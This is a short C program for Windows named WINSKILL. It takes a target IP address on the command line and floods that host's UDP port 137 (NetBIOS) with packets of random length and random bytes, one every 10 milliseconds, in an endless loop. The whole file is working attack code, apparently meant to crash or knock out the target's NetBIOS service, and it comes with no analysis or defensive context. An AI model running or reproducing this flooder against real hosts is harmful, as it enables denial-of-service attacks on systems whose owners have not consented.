#include <windows.h>
#include <stdio.h>
#include <winsock.h>

char buffer [512];

int main ( int argc, char **argv )
{
	WSADATA WSAData;
	SOCKET s;
	SOCKADDR_IN local, remote;
	int rlen, datalen, i;

	if ( argc != 2 )
	{
		printf ( "Usage: WINSKILL <host-IP>\n" );
		return 0;
	}
	
	WSAStartup ( MAKEWORD ( 1, 1 ), &WSAData );

	s = socket ( AF_INET, SOCK_DGRAM, 0 );
	if ( s == INVALID_SOCKET )
	{
		printf ( "socket() failed.\n" );
		goto quit;
	}

	local.sin_family = AF_INET;
	local.sin_port = htons ( 0 );
	local.sin_addr.s_addr = INADDR_ANY;

	if ( bind ( s, (struct sockaddr far*) &local, sizeof ( local ) ) == SOCKET_ERROR )
	{
		printf ( "bind() failed.\n" );
		goto quit;
	}

	remote.sin_family = AF_INET;
	remote.sin_port = htons ( 137 );
	if ( ( remote.sin_addr.s_addr = inet_addr ( argv [1] ) ) == INADDR_NONE )
	{
		printf ( "Invalid format of IP address.\n" );
		goto quit;
	}

	while ( 1 )
	{
		rlen = sizeof ( remote );
		
		datalen = rand ( ) % 512;
		for ( i = 0; i < datalen; i++ )
			buffer [i] = rand ( ) % 256;
		sendto ( s, buffer, datalen, 0, (struct sockaddr far*) &remote, rlen );
		Sleep ( 10 );
	}

quit:
	WSACleanup ( );

	return 0;
}
